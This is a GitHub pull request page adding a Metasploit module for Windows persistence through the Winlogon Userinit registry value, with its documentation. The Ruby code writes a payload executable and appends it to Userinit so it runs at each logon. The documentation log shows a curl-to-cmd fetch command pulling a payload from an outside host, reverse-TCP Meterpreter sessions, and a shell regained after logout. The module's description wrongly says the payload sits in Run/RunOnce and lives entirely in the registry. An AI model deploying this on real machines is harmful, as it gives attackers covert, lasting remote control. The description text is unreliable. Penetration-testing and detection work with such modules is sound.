-
Notifications
You must be signed in to change notification settings - Fork 14.7k
Windows Userinit persistence #20844
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
6a6f656c
wants to merge
8
commits into
rapid7:master
Choose a base branch
from
6a6f656c:userinit
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
+200
−0
Open
Windows Userinit persistence #20844
Changes from all commits
Commits
Show all changes
8 commits
Select commit
Hold shift + click to select a range
9d120c1
windows persistence userinit
6a6f656c 4a3a26e
windows persistence userinit v2
6a6f656c beff06b
windows persistence userinit v3
f6fdbc4
windows persistence userinit v4
cb7dd50
windows persistence userinit v5
d2c192e
windows persistence userinit v6
d7d7a31
Add docs and tidy to userinit persistence
h00die acc035c
Merge pull request #1 from h00die/upstream/pr/20844
6a6f656c File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
109 changes: 109 additions & 0 deletions
109
documentation/modules/exploit/windows/persistence/registry_userinit.md
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,109 @@ | ||
| ## Vulnerable Application | ||
|
|
||
| This module will install a payload that is executed during boot. | ||
| It will be executed either at user logon or system startup via the registry | ||
| value in "CurrentVersion\Run" or "RunOnce" (depending on privilege and selected method). | ||
| The payload will be installed completely in registry. | ||
|
|
||
| ## Verification Steps | ||
|
|
||
| 1. Start msfconsole | ||
| 1. Do: `use [module path]` | ||
| 1. Do: `run` | ||
| 1. You should get a shell. | ||
|
|
||
| ## Options | ||
|
|
||
| ### PAYLOAD_NAME | ||
|
|
||
| Name of payload file to write. Random string as default. | ||
|
|
||
| ## Scenarios | ||
|
|
||
| ### Windows 10 1909 (10.0 Build 18363) | ||
|
|
||
| Initial admin shell | ||
|
|
||
| ``` | ||
| resource (/root/.msf4/msfconsole.rc)> setg verbose true | ||
| verbose => true | ||
| resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1 | ||
| lhost => 1.1.1.1 | ||
| resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp | ||
| payload => cmd/linux/http/x64/meterpreter/reverse_tcp | ||
| resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery | ||
| [*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp | ||
| resource (/root/.msf4/msfconsole.rc)> use payload/cmd/windows/http/x64/meterpreter_reverse_tcp | ||
| [*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp | ||
| resource (/root/.msf4/msfconsole.rc)> set fetch_command CURL | ||
| fetch_command => CURL | ||
| resource (/root/.msf4/msfconsole.rc)> set fetch_pipe true | ||
| fetch_pipe => true | ||
| resource (/root/.msf4/msfconsole.rc)> set lport 4450 | ||
| lport => 4450 | ||
| resource (/root/.msf4/msfconsole.rc)> set FETCH_URIPATH w3 | ||
| FETCH_URIPATH => w3 | ||
| resource (/root/.msf4/msfconsole.rc)> set FETCH_FILENAME mkaKJBzbDB | ||
| FETCH_FILENAME => mkaKJBzbDB | ||
| resource (/root/.msf4/msfconsole.rc)> to_handler | ||
| [*] Command served: curl -so %TEMP%\mkaKJBzbDB.exe http://1.1.1.1:8080/KAdxHNQrWO8cy5I90gLkHg & start /B %TEMP%\mkaKJBzbDB.exe | ||
|
|
||
| [*] Command to run on remote host: curl -s http://1.1.1.1:8080/w3|cmd | ||
| [*] Payload Handler Started as Job 0 | ||
| [*] Fetch handler listening on 1.1.1.1:8080 | ||
| [*] HTTP server started | ||
| [*] Adding resource /KAdxHNQrWO8cy5I90gLkHg | ||
| [*] Adding resource /w3 | ||
| [*] Started reverse TCP handler on 1.1.1.1:4450 | ||
| msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > | ||
| [*] Client 2.2.2.2 requested /KAdxHNQrWO8cy5I90gLkHg | ||
| [*] Sending payload to 2.2.2.2 (curl/7.79.1) | ||
| [*] Meterpreter session 1 opened (1.1.1.1:4450 -> 2.2.2.2:49747) at 2026-01-03 16:20:11 -0500 | ||
|
|
||
| msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > sessions -i 1 | ||
| [*] Starting interaction with 1... | ||
|
|
||
| meterpreter > getuid | ||
| Server username: WIN10PROLICENSE\windows | ||
| meterpreter > sysinfo | ||
| Computer : WIN10PROLICENSE | ||
| OS : Windows 10 1909 (10.0 Build 18363). | ||
| Architecture : x64 | ||
| System Language : en_US | ||
| Domain : WORKGROUP | ||
| Logged On Users : 2 | ||
| Meterpreter : x64/windows | ||
| meterpreter > background | ||
| [*] Backgrounding session 1... | ||
| ``` | ||
|
|
||
| Install persistence | ||
|
|
||
| ``` | ||
| msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > use exploit/windows/persistence/registry_userinit | ||
| [*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp | ||
| msf exploit(windows/persistence/registry_userinit) > set PAYLOAD windows/meterpreter/reverse_tcp | ||
| PAYLOAD => windows/meterpreter/reverse_tcp | ||
| msf exploit(windows/persistence/registry_userinit) > set session 1 | ||
| session => 1 | ||
| msf exploit(windows/persistence/registry_userinit) > exploit | ||
| [*] Exploit running as background job 1. | ||
| [*] Exploit completed, but no session was created. | ||
|
|
||
| [*] Started reverse TCP handler on 1.1.1.1:4444 | ||
| msf exploit(windows/persistence/registry_userinit) > [*] Running automatic check ("set AutoCheck false" to disable) | ||
| [+] The target is vulnerable. Registry likely exploitable | ||
| [+] Writing payload to C:\Users\windows\AppData\Local\Temp\UASEQXKrCsOUN.exe | ||
| [*] Updating 'C:\Windows\system32\userinit.exe,' to 'C:\Windows\system32\userinit.exe,C:\Users\windows\AppData\Local\Temp\UASEQXKrCsOUN.exe' | ||
| [*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/WIN10PROLICENSE_20260103.2052/WIN10PROLICENSE_20260103.2052.rc | ||
| ``` | ||
|
|
||
| Logout, and log back in to trigger payload execution | ||
|
|
||
| ``` | ||
| [*] 2.2.2.2 - Meterpreter session 1 closed. Reason: Died | ||
| [*] Sending stage (188998 bytes) to 2.2.2.2 | ||
| [*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49749) at 2026-01-03 16:21:15 -0500 | ||
|
|
||
| msf exploit(windows/persistence/registry_userinit) > | ||
| ``` |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,91 @@ | ||
| ## | ||
| # This module requires Metasploit: https://metasploit.com/download | ||
| # Current source: https://github.com/rapid7/metasploit-framework | ||
| ## | ||
|
|
||
| class MetasploitModule < Msf::Exploit::Local | ||
| Rank = ExcellentRanking | ||
|
|
||
| include Msf::Post::Windows::Registry | ||
| include Msf::Post::File | ||
| include Msf::Exploit::EXE | ||
| include Msf::Exploit::Powershell | ||
| include Msf::Exploit::Local::Persistence | ||
| prepend Msf::Exploit::Remote::AutoCheck | ||
|
|
||
| def initialize(info = {}) | ||
| super( | ||
| update_info( | ||
| info, | ||
| 'Name' => 'Windows Registry Persistence via Userinit', | ||
| 'Description' => %q{ | ||
| This module will install a payload that is executed during boot. | ||
| It will be executed either at user logon or system startup via the registry | ||
| value in "CurrentVersion\Run" or "RunOnce" (depending on privilege and selected method). | ||
| The payload will be installed completely in registry. | ||
| }, | ||
| 'License' => MSF_LICENSE, | ||
| 'Author' => [ | ||
| 'joel @ ndepthsecurity', | ||
| 'h00die', | ||
| ], | ||
| 'Platform' => [ 'win' ], | ||
| 'SessionTypes' => [ 'meterpreter', 'shell' ], | ||
| 'Targets' => [ | ||
| [ 'Automatic', {} ] | ||
| ], | ||
| 'References' => [ | ||
| ['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY], | ||
| ['URL', 'https://hadess.io/the-art-of-windows-persistence/'] | ||
| ], | ||
| 'DefaultTarget' => 0, | ||
| 'DisclosureDate' => '2015-07-01', | ||
| 'Notes' => { | ||
| 'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION], | ||
| 'Stability' => [CRASH_SAFE], | ||
| 'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS] | ||
| } | ||
| ) | ||
| ) | ||
|
|
||
| register_options([ | ||
| OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']), | ||
| ]) | ||
| end | ||
|
|
||
| def regkey | ||
| 'HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon' | ||
| end | ||
|
|
||
| def writable_dir | ||
| d = super | ||
| return session.sys.config.getenv(d) if d.start_with?('%') | ||
|
|
||
| d | ||
| end | ||
|
|
||
| def check | ||
| print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value | ||
| return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir) | ||
|
|
||
| return Msf::Exploit::CheckCode::Safe("Unable to read registry path #{regkey} with key Userinit") if registry_getvaldata(regkey, 'Userinit').nil? | ||
|
|
||
| Msf::Exploit::CheckCode::Vulnerable('Registry likely exploitable') | ||
| end | ||
|
|
||
| def install_persistence | ||
| payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13))) | ||
| payload_exe = generate_payload_exe | ||
| payload_pathname = writable_dir + '\\' + payload_name + '.exe' | ||
| vprint_good("Writing payload to #{payload_pathname}") | ||
| fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe) | ||
|
|
||
| old_value = registry_getvaldata(regkey, 'Userinit') | ||
| new_value = (old_value.split(',') + [payload_pathname]).join(',') | ||
| vprint_status("Updating '#{old_value}' to '#{new_value}'") | ||
| registry_setvaldata(regkey, 'Userinit', new_value, 'REG_SZ') | ||
| escaped_old_value = old_value.gsub('\\', '\\\\') | ||
| @clean_up_rc = %(execute -f cmd.exe -a "/c reg add \\\"#{regkey}\\\" /v Userinit /t REG_SZ /d \\\"#{escaped_old_value}\\\" /f" -H\n) | ||
| @clean_up_rc << "rm #{payload_pathname.gsub('\\', '/')}\n" | ||
| end | ||
| end | ||
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Maybe some of the comments from $x are relevant here? 🤔
#20843 (comment)
cc @h00die